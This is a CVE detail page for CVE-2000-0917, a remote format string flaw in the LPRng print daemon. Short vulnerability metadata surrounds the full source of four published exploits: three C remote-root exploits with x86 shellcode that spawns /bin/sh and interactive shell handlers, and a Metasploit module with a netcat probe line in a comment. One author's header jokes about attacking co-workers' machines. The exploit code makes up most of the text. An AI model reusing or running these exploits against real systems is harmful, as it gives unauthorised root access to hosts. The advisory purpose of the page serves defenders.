CVE-2000-0917 : Detail

CVE-2000-0917

96.26%V3
Network
2001-01-22
04h00 +00:00
2004-09-02
07h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Format string vulnerability in use_syslog() function in LPRng 3.6.24 allows remote attackers to execute arbitrary commands.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 227

Publication date : 2000-12-10 23h00 +00:00
Author : DiGiT
EDB Verified : Yes

/* * Copyright (c) 2000 - Security.is * * The following material may be freely redistributed, provided * that the code or the disclaimer have not been partly removed, * altered or modified in any way. The material is the property * of security.is. You are allowed to adopt the represented code * in your programs, given that you give credits where it's due. * * security.is presents: LPRng/Linux remote root lpd exploit. * * Author: DiGiT - [email protected] * * Thanks to: portal for elite formatstring talent ;> * Greets to: security.is, #!ADM * * Wrote it because I wanted to hack my co-workers machines ;> * * Run: ./SEClpd victim brute -t type * Try first ./SEClpd victim -t 0 then try the brute. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <netinet/in.h> #include <arpa/inet.h> #define ADDRESS_BUFFER_SIZE 32+4 #define APPEND_BUFFER_SIZE 52 #define FORMAT_LENGTH 512-8 #define NOPCOUNT 200 #define SHELLCODE_COUNT 1030 #define DELAY 50000 /* usecs */ #define OFFSET_LIMIT 5000 char shellcode[] = "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80" "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; struct target { char *os_name; u_long eip_address; u_long shellcode_address; unsigned int position; int written_bytes; int align; }; struct target targets[] = { { "RedHat 7.0 - Guinesss ", 0xbffff3ec, 0L, 300, 70, 2, }, { "RedHat 7.0 - Guinesss-dev", 0xbffff12c, 0L, 300, 70, 2, }, { NULL, 0L, 0L, 0, 0, 0 } }; static char address_buffer[ADDRESS_BUFFER_SIZE+1]; static char append_buffer[APPEND_BUFFER_SIZE+1]; static char shellcode_buffer[1024]; static char *hostname=NULL; static int offset; static struct hostent *he; int type=-1; int brute=-1, failure=1; void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int previous, u_int addr_loc) { int i; unsigned int tmp = 0; unsigned int copied = previous; unsigned int num[4] = { (unsigned int) (shellcode_addr & 0x000000ff), (unsigned int)((shellcode_addr & 0x0000ff00) >> 8), (unsigned int)((shellcode_addr & 0x00ff0000) >> 16), (unsigned int)((shellcode_addr & 0xff000000) >> 24) }; memset (address_buffer, '\0', sizeof(address_buffer)); memset (append_buffer, '\0', sizeof(append_buffer)); for (i = 0; i < 4; i++) { while (copied > 0x100) copied -= 0x100; if ( (i > 0) && (num[i-1] == num[i]) ) sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); else if (copied < num[i]) { if ( (num[i] - copied) <= 10) { sprintf (append_buffer+strlen(append_buffer), "%.*s", (int)(num[i] - copied), "security.is!"); copied += (num[i] - copied); sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); } else { sprintf (append_buffer+strlen(append_buffer), "%%.%du", num[i] - copied); copied += (num[i] - copied); sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); } } else { tmp = ((num[i] + 0x100) - copied); sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp); copied += ((num[i] + 0x100) - copied); sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); } sprintf (address_buffer+strlen(address_buffer), "%c%c%c%c", (unsigned char) ((eip_addr+i) & 0x000000ff), (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8), (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16), (unsigned char)(((eip_addr+i) & 0xff000000) >> 24)); } while (strlen(address_buffer) < ADDRESS_BUFFER_SIZE) strcat (address_buffer, "X"); #ifdef DEBUG printf ("\nGeneration complete:\nAddress: "); for (i = 0; i < strlen(address_buffer); i++) { if ( ((i % 4) == 0) && (i > 0) ) printf ("."); printf ("%02x", (unsigned char)address_buffer[i]); } printf ("\nAppend: %s\n", append_buffer); #endif return; } char *create_malicious_string(void) { static char format_buffer[FORMAT_LENGTH+1]; long addr1,addr2; int i; memset (format_buffer, '\0', sizeof(format_buffer)); targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT; addr1 = targets[type].eip_address; addr2 = targets[type].shellcode_address; calculate_rets (addr1, addr2,targets[type].written_bytes, targets[type].position); (void)snprintf (format_buffer, sizeof(format_buffer)-1, "%.*s%s", targets[type].align, "BBBB", address_buffer); strncpy (address_buffer, format_buffer, sizeof(address_buffer)-1); strncpy (format_buffer, append_buffer, sizeof(format_buffer)-1); for(i = 0 ; i < NOPCOUNT ; i++) strcat(format_buffer, "\x90"); strcat(format_buffer, shellcode); return (format_buffer); } int connect_victim() { int sockfd, n; struct sockaddr_in s; fd_set fd_stat; char buff[1024]; static char testcmd[256] = "/bin/uname -a ; id ;\r\n"; s.sin_family = AF_INET; s.sin_port = htons (3879); s.sin_addr.s_addr = *(u_long *)he->h_addr; if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0) { printf ("--- [5] Unable to create socket!\n"); printf("Exploit failed!\n"); return -1; } if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0) { return -1; } if(brute) printf("+++ The eip_address is 0x%x\n\n", targets[type].eip_address); printf("- [+] shell located on %s\n", hostname); printf("- [+] Enter Commands at will\n\n"); failure = -1; FD_ZERO(&fd_stat); FD_SET(sockfd, &fd_stat); send(sockfd, testcmd, strlen(testcmd), 0); while(1) { FD_SET(sockfd,&fd_stat); FD_SET(0,&fd_stat); if(select(sockfd+1,&fd_stat,NULL,NULL,NULL)<0) break; if( FD_ISSET(sockfd, &fd_stat) ) { if((n=read(sockfd,buff,sizeof(buff)))<0){ fprintf(stderr, "EOF\n"); return 2; } if(write(1,buff,n)<0)break; } if ( FD_ISSET(0, &fd_stat) ) { if((n=read(0,buff,sizeof(buff)))<0){ fprintf(stderr,"EOF\n"); return 2; } if(send(sockfd,buff,n,0)<0) break; } } } void send_code(char *exploit_buffer) { int sockfd, n; struct sockaddr_in s; fd_set fd_stat; char recv[1024]; static char testcmd[256] = "/bin/uname -a ; id ;\r\n"; s.sin_family = AF_INET; s.sin_port = htons (515); s.sin_addr.s_addr = *(u_long *)he->h_addr; if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0) { printf ("--- [5] Unable to create socket!\n"); printf("Exploit failed!\n"); exit(-1); } if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0) { printf ("--- [5] Unable to connect to %s\n", hostname); printf("Exploit failed, %s is not running LPD!\n", hostname); exit(-1); } usleep(DELAY); if(write (sockfd, exploit_buffer, strlen(exploit_buffer)) < 0) { printf ("Couldn't write to socket %d", sockfd); printf ("Exploit failed\n"); exit(2); } close(sockfd); connect_victim(); } void usage(char *program) { int i=0; printf("SEClpd by DiGiT of ADM/security.is ! \n\n"); printf("Usage: %s victim [\"brute\"] -t type [-o offset] [-a align] [-p position] [-r eip_addr] [-c shell_addr] [-w written_bytes] \n\n", program); printf("ie: ./SEClpd localhost -t 0 For most redhat 7.0 boxes\n"); printf("ie: ./SEClpd localhost brute -t 0 For brute forcing all redhat 7.0 boxes\n"); printf("Types:\n\n"); while( targets[i].os_name != NULL) printf ("[ Type %d: [ %s ]\n", i++, targets[i].os_name); } int main(int argc, char **argv) { char exploit_buffer[1024]; char *format = NULL; int c, brutecount=0; if(argc < 3) { usage(argv[0]); return 1; } hostname = argv[1]; if(!strncmp(argv[2], "brute", 5)) brute = 1; while(( c = getopt (argc, argv, "t:r:c:a:o:p:w:k"))!= EOF){ switch (c) { case 't': type = atoi(optarg); break; case 'r': targets[type].eip_address = strtoul(optarg, NULL, 16); break; case 'c': targets[type].shellcode_address = strtoul(optarg, NULL, 16); break; case 'a': targets[type].align = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case 'p': targets[type].position = atoi(optarg); break; case 'w': targets[type].written_bytes = atoi(optarg); break; default: usage(argv[0]); return 1; } } if(type < 0) { printf("You must specify a type!\n"); printf("example: ./SEClpd victim -t 0\n"); return -1; } if ( (he = gethostbyname (hostname)) == NULL) { herror("gethostbyname"); exit(1); } targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT; printf("+++ Security.is remote exploit for LPRng/lpd by DiGiT\n\n"); printf("+++ Exploit information\n"); printf("+++ Victim: %s\n", hostname); printf("+++ Type: %d - %s\n", type, targets[type].os_name); printf("+++ Eip address: 0x%x\n", targets[type].eip_address); printf("+++ Shellcode address: 0x%x\n", targets[type].shellcode_address); printf("+++ Position: %d\n", targets[type].position); printf("+++ Alignment: %d\n", targets[type].align); printf("+++ Offset %d\n", offset); printf("\n"); printf("+++ Attacking %s with our format string\n", hostname); if( brute > 0 ) { printf("+++ Brute force man, relax and enjoy the ride ;>\n"); targets[type].eip_address = 0xbffffff0; while(failure) { memset(exploit_buffer, '\0', sizeof(exploit_buffer)); format = create_malicious_string(); strcpy(exploit_buffer, address_buffer); strcat(exploit_buffer, format); strcat(exploit_buffer, "\n"); send_code(exploit_buffer); targets[type].eip_address = 0xbffffff0 - offset; offset+=4; if (offset > OFFSET_LIMIT) { printf("+++ Offset limit hit, ending brute mode ;<\n"); return -1; } } } else format = create_malicious_string(); strcpy(exploit_buffer, address_buffer); strcat(exploit_buffer, format); strcat(exploit_buffer, "\n"); send_code(exploit_buffer); printf("Argh exploit failed$#%! try brute force!\n"); return (-1); } // milw0rm.com [2000-12-11]
Exploit Database EDB-ID : 16842

Publication date : 2010-07-02 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: lprng_format_string.rb 9666 2010-07-03 01:09:32Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Brute include Msf::Exploit::FormatString def initialize(info = {}) super(update_info(info, 'Name' => 'LPRng use_syslog Remote Format String Vulnerability', 'Description' => %q{ This module exploits a format string vulnerability in the LPRng print server. This vulnerability was discovered by Chris Evans. There was a publicly circulating worm targeting this vulnerability, which prompted RedHat to pull their 7.0 release. They consequently re-released it as "7.0-respin". }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9666 $', 'References' => [ [ 'CVE', '2000-0917' ], [ 'OSVDB', '421' ], [ 'BID', '1712' ], [ 'US-CERT-VU', '382365' ], [ 'URL', 'http://www.cert.org/advisories/CA-2000-22.html' ], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=17756' ], [ 'URL', 'http://www.exploit-db.com/exploits/226' ], [ 'URL', 'http://www.exploit-db.com/exploits/227' ], [ 'URL', 'http://www.exploit-db.com/exploits/230' ] ], 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Privileged' => true, # root 'DefaultOptions' => { 'PrependSetresuid' => true }, 'Payload' => { 'Space' => 130, # buffer size on caldera is 180! (need ~50 for fmt) 'BadChars' => "\x00\x0a\x20\x25", }, 'Targets' => [ # tested OK - jjd [ 'Caldera OpenLinux 2.3 Bruteforce', { 'Platform' => 'linux', 'NumPops' => 243, 'FlowHook' => 0x80992d4, # GOT of exit # (0x809c180+(41+4+10+48)) - data segment, but gets corrupted 'Bruteforce' => { 'Start' => { 'Ret' => 0xcffffff4 }, 'Stop' => { 'Ret' => 0x7fffe004 }, 'Step' => 16 } } ], =begin # untested (from public exploits) [ 'Slackware 7.0 LPRng-3.6.22.tgz - started from shell', { 'NumPops' => 299, 'Ret' => 0xbffff640, 'FlowHook' => 0xbfffee30 } ], [ 'RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5', { 'NumPops' => 304, 'Ret' => 0xbffff920, 'FlowHook' => 0xbffff0f0 } ], [ 'RedHat 7.0 - Guinesss', { 'NumPops' => 300, 'Ret' => 0x41424344, 'FlowHook' => 0xbffff3ec } ], [ 'RedHat 7.0 - Guinesss-dev', { 'NumPops' => 300, 'Ret' => 0x41424344, 'FlowHook' => 0xbffff12c } ], =end # ... [ 'Debug', { 'NumPops' => 1, # sure to miss. 'Ret' => 0x41424344, 'FlowHook' => 0x45464748 } ] ], # 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 25 2000')) register_options( [ Opt::RPORT(515) ], self.class ) end def exploit # we want to use DPA for this one :) fmtstr_set_caps(false, true) # check syslog to see which number hits 41414141 =begin 400.times { |x| connect buf = "aAAAABBBB|%%%u$x|%u\n" % [x+1, x+1] sock.put(buf) #handler disconnect } =end print_status("Trying target #{target.name} ..") super end def brute_exploit(addrs) #print_status("Trying target #{target.name} - addr 0x%x..." % addrs['Ret']) printed = "Service_connection: bad request line '\\35" # + "'XXXYYYYZZZZ... num_start = printed.length + 2 + 4 # write 'ret' addr to flowhook (execute shellcode) # NOTE: the resulting two writes must be done at the same time # characters (chr(10) > X > chr(99)) will screw up alignment (\XXX in syslog) fmtbuf = "_" * 4 fmtbuf << generate_fmt_two_shorts(num_start, target['FlowHook'], addrs['Ret']) #print_status(" hijacker format string buffer is #{fmtbuf.length} bytes") # append payload and newline #fmtbuf << payload.encoded fmtbuf << "\x90" * 32 fmtbuf << Rex::Text.charset_exclude(payload_badchars) fmtbuf << "\n" print_status(" writing 0x%x to 0x%x" % [addrs['Ret'], target['FlowHook']]) connect #print_status("Sleeping, attach now!!") #select(nil,nil,nil,5) sock.put(fmtbuf) handler disconnect end end =begin HRM! The following causes info leakage! bash$ ( ruby -e 'puts "\x09" + ("%x" * 50) + "\n"'; cat) | nc 192.168.0.120 515 | hexdump -vC There are various other ways to trigger the vulnerability. LPD uses the single-byte commands 0x01 -> 0x09... It's unclear if there is a way to auto-detect the lpd version via LPD commands. =end
Exploit Database EDB-ID : 226

Publication date : 2000-12-10 23h00 +00:00
Author : sk8
EDB Verified : Yes

/* * LPRng remote root exploit for x86 Linux * 9/27/00 * * - sk8 * tested on compiled LPRng 3.6.22/23/24 * */ #include <unistd.h> #include <stdio.h> char sc[]= "\x29\xdb\x29\xc0\x29\xd2\x31\xc9\xfe\xca\xb0\x46\xcd\x80\x29\xff" "\x47\x47\x47\x43\x43\x43\x31\xc9\x29\xc0\xb0\x3f\xcd\x80\x41\x39" "\xf9\x75\xf5\x39\xd3\x7e\xee\xeb\x19\x5e\x89\xf3\x89\xf7\x83\xc7" "\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x0b" "\xcd\x80\xe8\xe2\xff\xff\xff/bin/sh"; #define NOP 0x90 //will be split up, doesn't matter int main(int argc, char** argv) { char getbuf[1000]; int bpad=0; /* was 2 */ /* 3 for other */ /* 2 - -34 3 - -41 0 - -42 */ int i=0; int eiploc=0x41424344; char buffer[1024]; char fmtbuf[128]; int shloc=-1; //0xbffff2c8; int hi=100; int lo=200; int pre=0; int align=-36; int pos=511; //483; //488; /*299;*/ int debug=0; char s=0; char mode='n'; while ((s=getopt(argc, argv, "a:b:e:s:p:d")) != EOF) { switch(s) { case 'a': align=atoi(optarg); break; case 'b': bpad=atoi(optarg); break; case 'e': eiploc=strtoul(optarg, 0,0); break; case 's': shloc=strtoul(optarg, 0, 0); break; case 'p': pos=atoi(optarg); break; case 'd': debug=1; break; default: } } if (shloc == -1) shloc=eiploc+2450; memset(buffer, 0, sizeof(buffer)); memset(fmtbuf, 0, sizeof(fmtbuf)); memset(buffer, 'B', bpad); *(long*)(buffer+strlen(buffer))=eiploc+2; *(long*)(buffer+strlen(buffer))=0x50505050; *(long*)(buffer+strlen(buffer))=eiploc; pre=strlen(buffer); if (debug) { mode='p'; hi=100; lo=100; } else { hi=((shloc >> 16)&0xffff)-pre+align; /* was no 7 */ lo=((shloc >> 0)&0xffff)+0x10000-((shloc >> 16)&0xffff); } sprintf(fmtbuf, "%%%dd%%%d$h%c%%%dd%%%d$h%c", hi, pos, mode, lo, pos+2, mode); strcat(buffer+strlen(buffer), fmtbuf); /* make it easier to hit shellcode */ memset(buffer+strlen(buffer), NOP, 385); strcat(buffer, sc); *(char*)(buffer+strlen(buffer))=0; fprintf(stderr, "strlen(fmtbuf): %i\n", strlen(fmtbuf)); fprintf(stderr, "pos: %i\n", pos); fprintf(stderr, "align: %i\n", align); fprintf(stderr, "eip location: 0x%x\n", eiploc); fprintf(stderr, "shellcode location: 0x%x\n", shloc); fprintf(stderr, "strlen(sc): %i\n", strlen(sc)); fprintf(stderr, "strlen(buffer): %i\n", strlen(buffer)); printf("%s", buffer); putchar('\n'); } // milw0rm.com [2000-12-11]
Exploit Database EDB-ID : 230

Publication date : 2000-12-14 23h00 +00:00
Author : VeNoMouS
EDB Verified : Yes

/* * REMOTE ROOT EXPLOIT for linux x86 - LPRng-3.6.24-1 (RedHat 7.0) * * The RedHat 7.0 replaced the BSD lpr with the LPRng package which is * vulnerable to format string attacks because it passes information * to the syslog incorrectly. * You can get remote root access on machines running RedHat 7.0 with * lpd running (port 515/tcp) if it is not fixed, of course (3.6.25). * * bonus: I tested it too on slackware 7.0 with LPRng3.6.22-1, remember * is -not- installed by default (isnt a package of the slackware). * * and,.. this code is for educational propourses only, do not use * it on remote machines without authorization. * * greets: bruj0, ka0z, dn0, #rdC and #flatline * * coded by venomous of rdC - Argentinian security group. * [email protected] * http://www.rdcrew.com.ar * */ #include <stdio.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/time.h> #include <unistd.h> #include <errno.h> #include <time.h> #include <signal.h> char shellcode[]= // not mine "\x31\xc0\x31\xdb\x31\xc9\xb3\x07\xeb\x67\x5f\x8d\x4f" "\x07\x8d\x51\x0c\x89\x51\x04\x8d\x51\x1c\x89\x51\x08" "\x89\x41\x1c\x31\xd2\x89\x11\x31\xc0\xc6\x41\x1c\x10" "\xb0\x66\xcd\x80\xfe\xc0\x80\x79\x0c\x02\x75\x04\x3c" "\x01\x74\x0d\xfe\xc2\x80\xfa\x01\x7d\xe1\x31\xc0\xfe" "\xc0\xcd\x80\x89\xd3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80" "\xfe\xc1\x80\xf9\x03\x75\xf3\x89\xfb\x31\xc0\x31\xd2" "\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0" "\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68"; void usage(char *prog); void makebuffer(char *addr, char *shaddr, int addroffset, int shoffset, int padding , int fsc); void sigint(); void sigalarm(); void mk_connect(char victim[128], int port); char yahoo[1024]; struct os { char *addr; char *shelladdr; char *desc; int addroffset; int shelladdroffset; int pad; int fsc; }; /* generally, the addresses are wrong for a very small value,, i recommend * that you bruteforce the retloc + or - by 1..(ex: -50 to +50, steps of 1) * if it dont work, try the same but changing the fsc (this is the value * of when we start to control the formats strings), start from 290 until * 330, it should be enough. * and if it still dont work,, :|, try with the offset of the shellcode * address, this buffer has nops, so it shouldnt be difficult to guess. * make a .sh! :) * of course, you can start gdb on your box(es) and dont guess nothing * just inspect the program and get the correct values! * * -venomous */ struct os target[]= { {"0xbfffee30", "0xbffff640", "Slackware 7.0 with LPRng-3.6.22.tgz - started from shell", 0, 0, 2, 299}, {"0xbffff0f0", "0xbffff920", "RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5", 0, 0, 2, 304}, {NULL,NULL,NULL,0,0} }; main(int argc, char *argv[]) { int port=515, so=0, padding=0, retlocoffset=0, shellcodeoffset=0, fscT=0; char arg, victim[128], rl[128], sh[128]; if(argc < 3) usage(argv[0]); bzero(victim,sizeof(victim)); bzero(rl,sizeof(rl)); bzero(sh,sizeof(sh)); while ((arg = getopt(argc, argv, "h:p:r:s:t:P:R:S:c")) != EOF) { switch(arg) { case 'h': strncpy(victim,optarg,128); break; case 'p': port = atoi(optarg); break; case 'r': strncpy(rl,optarg,128); break; case 's': strncpy(sh,optarg,128); break; case 't': so = atoi(optarg); break; case 'P': padding = atoi(optarg); break; case 'R': retlocoffset = atoi(optarg); break; case 'S': shellcodeoffset = atoi(optarg); break; case 'c': fscT = atoi(optarg); break; default: usage(argv[0]); break; } } if(strlen(victim) == 0) usage(argv[0]); if (strcmp(rl,"")) target[so].addr = rl; if (strcmp(sh,"")) target[so].shelladdr = sh; if (retlocoffset != 0) target[so].addroffset = target[so].addroffset + retlocoffset; if (shellcodeoffset != 0) target[so].shelladdroffset = target[so].shelladdroffset + shellcodeoffset; if (padding != 0) target[so].pad = target[so].pad + padding; if (fscT != 0) target[so].fsc = target[so].fsc + fscT; signal(SIGINT, sigint); makebuffer(target[so].addr, target[so].shelladdr, target[so].addroffset, target[so].shelladdroffset, target[so].pad, target[so].fsc); mk_connect(victim, port); } void makebuffer(char *addr, char *shaddr, int addroffset, int shoffset, int padding, int fsc) { char *tmp, addrtmp[216], ot[128]; int i,b,x,t; unsigned long pt; char temp[128]; char a1,a2,a3,a4,a5,a6,a7,a8; char fir[12],sec[12],thr[12],f0r[12]; unsigned long firl,secl,thrl,forl; unsigned long pas1,pas2,pas3,pas4; bzero(yahoo,sizeof(yahoo)); bzero(ot,sizeof(ot)); bzero(addrtmp,sizeof(addrtmp)); printf("** LPRng remote root exploit coded by venomous of rdC **\n"); printf("\nconstructing the buffer:\n\n"); printf("adding bytes for padding: %d\n",padding); for(i=0 ; i < padding ; i++) strcat(yahoo,"A"); tmp = addr; pt = strtoul(addr, &addr,16) + addroffset; addr = tmp; printf("retloc: %s + offset(%d) == %p\n", addr, addroffset, pt); printf("adding resulting retloc(%p)..\n",pt); sprintf(addrtmp, "%p", pt); if(strlen(addr) != 10) { printf("Error, retloc is %d bytes long, should be 10\n",strlen(addr)); exit(1); } pt = 0; for (i=0 ; i < 4 ; i++) { pt = strtoul(addrtmp, &addrtmp, 16); //strcat(yahoo, &pt); bzero(ot,sizeof(ot)); sprintf(ot,"%s",&pt); strncat(yahoo,ot,4); pt++; sprintf(addrtmp, "%p", pt); //printf("addrtmp:%s :yahoo %s\n",addrtmp,yahoo); } tmp = shaddr; pt = 0; pt = strtoul(shaddr,&shaddr,16) + shoffset; sprintf(ot,"%p",pt); shaddr = ot; printf("adding shellcode address(%s)\n", shaddr); sscanf(shaddr,"0x%c%c%c%c%c%c%c%c",&a1,&a2,&a3,&a4,&a5,&a6,&a7,&a8); sprintf(fir,"0x%c%c",a1,a2); sprintf(sec,"0x%c%c",a3,a4); sprintf(thr,"0x%c%c",a5,a6); sprintf(f0r,"0x%c%c",a7,a8); firl = strtoul(fir,&fir,16); secl = strtoul(sec,&sec,16); thrl = strtoul(thr,&thr,16); forl = strtoul(f0r,&f0r,16); pas1 = forl - 50 - padding; pas1 = check_negative(pas1); pas2 = thrl - forl; pas2 = check_negative(pas2); pas3 = secl - thrl; pas3 = check_negative(pas3); pas4 = firl - secl; pas4 = check_negative(pas4); sprintf(temp,"%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n",pas1,fsc, pas2, fsc+1, pas3, fsc+2,pas4, fsc+3); strcat(yahoo,temp); printf("adding nops..\n"); b = strlen(yahoo); for (i=0 ; i < (512-b-strlen(shellcode)) ; i++) yahoo[b+i] = '\x90'; printf("adding shellcode..\n"); b=+i; for (x=0 ; x < b ; x++) yahoo[b+x] = shellcode[x]; strcat(yahoo,"\n"); printf("all is prepared.. now lets connect to something..\n"); } check_negative(unsigned long addr) { char he[128]; sprintf(he,"%d",addr); if (atoi(he) < 0) addr = addr + 256; return addr; } void mk_connect(char victim[128], int port) { struct hostent *host; struct sockaddr_in den0n; int sox; den0n.sin_family = AF_INET; den0n.sin_port = htons(port); host = gethostbyname(victim); if (!host) { printf("cannot resolve, exiting...\n"); exit(0); } bcopy(host->h_addr, (struct in_addr *)&den0n.sin_addr, host->h_length); sox = socket(AF_INET, SOCK_STREAM, 0); signal(SIGALRM, sigalarm); alarm(10); printf("connecting to %s to port %d\n",host->h_name, port); if (connect(sox, (struct sockaddr *)&den0n, sizeof(struct sockaddr)) < 0) { putchar('\n'); perror("connect"); exit(1); } printf("connected!, sending the buffer...\n\n"); write(sox, yahoo , strlen(yahoo)); printf("%s\n", yahoo); sleep(1); alarm(0); runshell(sox); } int runshell(int sox) { fd_set rset; int n; char buffer[4096]; char *command="/bin/uname -a ; /usr/bin/id\n"; send(sox, command, strlen(command), 0); for (;;) { FD_ZERO (&rset); FD_SET (sox, &rset); FD_SET (STDIN_FILENO, &rset); n = select(sox + 1, &rset, NULL, NULL, NULL); if(n <= 0) return (-1); if(FD_ISSET (sox, &rset)) { n = recv (sox, buffer, sizeof (buffer), 0); if (n <= 0) break; write (STDOUT_FILENO, buffer, n); } if(FD_ISSET (STDIN_FILENO, &rset)) { n = read (STDIN_FILENO, buffer, sizeof (buffer)); if (n <= 0) break; send(sox, buffer, n, 0); } } return (0); } void sigalarm() { printf("connection timed out, exiting...\n"); exit(0); } void sigint() { printf("CAUGHT sigint, exiting...\n"); exit(0); } void usage(char *prog) { int i; printf("\n** LPRng remote root exploit coded by venomous of rdC **\n"); printf("Usage:\n\n"); printf("%s [-h hostname] <-p port> <-r addr> <-s shellcodeaddr> <-t type> <-P padding> <-R offset> <-S offset> <-c offset>\n\n", prog); printf("-h is the victim ip/host\n"); printf("-p select a different port to connect, default 515\n"); printf("-r is the address to overwrite\n"); printf("-s is the address of the shellcode\n"); printf("You can use a predefined addr/shellcodeaddr using -t <number>\n\n"); printf("availables types:\n\n"); for (i=0 ; target[i].desc != NULL ; i++) printf("%d - %s\n",i,target[i].desc); printf("\n-P is to define the padding to use, usually 2\n"); printf("-R the offset to add to <addr>\n"); printf("-S the offset to add to <shellcodeaddr>\n"); printf("-c where we start to control the format string\n\n"); exit(0); } // milw0rm.com [2000-12-15]

Products Mentioned

Configuraton 0

Caldera>>Openlinux_ebuilder >> Version 3.0

    Configuraton 0

    Caldera>>Openlinux >> Version *

      Caldera>>Openlinux_edesktop >> Version 2.4

        Caldera>>Openlinux_eserver >> Version 2.3

          Redhat>>Linux >> Version 7.0

          Trustix>>Secure_linux >> Version 1.0

          Trustix>>Secure_linux >> Version 1.1

          References

          http://www.cert.org/advisories/CA-2000-22.html
          Tags : third-party-advisory, x_refsource_CERT
          http://www.redhat.com/support/errata/RHSA-2000-065.html
          Tags : vendor-advisory, x_refsource_REDHAT
          http://www.securityfocus.com/bid/1712
          Tags : vdb-entry, x_refsource_BID